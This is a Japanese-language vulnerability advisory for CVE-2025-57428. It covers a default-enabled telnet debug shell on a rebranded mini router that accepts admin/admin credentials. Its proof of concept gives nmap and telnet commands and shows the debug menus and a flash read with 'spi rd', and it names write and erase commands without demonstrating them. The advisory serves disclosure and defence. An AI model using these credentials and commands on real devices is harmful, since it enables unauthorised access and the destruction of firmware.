⚠️ このリポジトリは、CVE-2025-57428 の参考としてのみ維持されています。
その他のアドバイザリや更新については、security-advisories を参照してください。

CVE-2025-57428 - デフォルトで有効なTelnetデバッグインターフェースにより、低レベルのフラッシュ/レジスタアクセスが可能

影響を受ける製品

• ベンダー/ブランド: Each Italy
• デバイス: Wireless Mini Router WIRELESS-N 300M
• ファームウェア: v28K.MiniRouter.20190211

概要

このデバイスは、Telnetデバッグインターフェース（デフォルトでポート23で有効）を公開し、管理資格情報（デフォルトでは`admin`/`admin`）を受け付けます。認証後、シェルは低レベルコマンド（特に`spi`および`reg`）への直接アクセスを提供し、これにより任意のファームウェア破損、デバイスの文鎮化、機能やセキュリティ設定の喪失につながる可能性があります。

概念実証

注: 破壊的な書き込みを実行するコマンドは意図的に省略しています。以下のPoCは、すぐに武器化されたエクスプロイトを提供することなく、インターフェースの存在とアクセス可能性を確認します。

1. LAN上のデバイスをスキャンする:

   root@kitploit:~

   nmap -p 23 <device-ip>
   

   結果: ポート23(telnet)がopenと表示されます。

2. Telnetで接続し、認証する（デフォルトの資格情報）:

   root@kitploit:~

   telnet <device-ip>
   # Login as: admin
   # Password: admin
   

   ログイン後、デバッグプロンプトCMD>が表示されます。

3. 利用可能なコマンドをリスト表示する:

   root@kitploit:~

   CMD>help
   

   ヘルプ出力には以下のメニューが表示されます:

   root@kitploit:~

   cfg         net         os
   

   osメニューに入る:

   root@kitploit:~

   CMD>os
   

   再度利用可能なコマンドをリスト表示する:

   root@kitploit:~

   OS>help
   

   今度のヘルプ出力には以下のコマンドが表示されます:

   root@kitploit:~

   thread      mem         spi         reg         cpuload     cpubusy     event
   

   spiを使用するとspi <rd/wr/er> <addr> [len]と表示されます。

4. フラッシュメモリを読み取る:

   root@kitploit:~

   OS>spi rd 0x000fd0f0 16
   

   これにより、フラッシュ領域のhexダンプが返されます:

   root@kitploit:~

   4f30650a 938f56fa 1b663a19 e316d824
   

   これにより、コマンドが動作し、シェルが低レベルアクセスを持つことが確認されます。 書き込みコマンド（spi wr）、消去コマンド（spi er）、およびregコマンドも実行可能です。

観察結果:

• Webインターフェースを介して管理者パスワードを変更すると、Telnetの資格情報も変更され、資格情報が共有されていることを示します。
• Telnetは初期設定後もデフォルトで有効のままです。

ベンダーとの連絡

元のベンダーのセキュリティ連絡先やサポートチャネルを見つけようとする試みは失敗しました。この製品は、出所不明のリブランドされたデバイスであるように見えます。

免責事項

この情報は教育および防御目的のみで提供されます。著者はこの情報の誤用について一切の責任を負いません。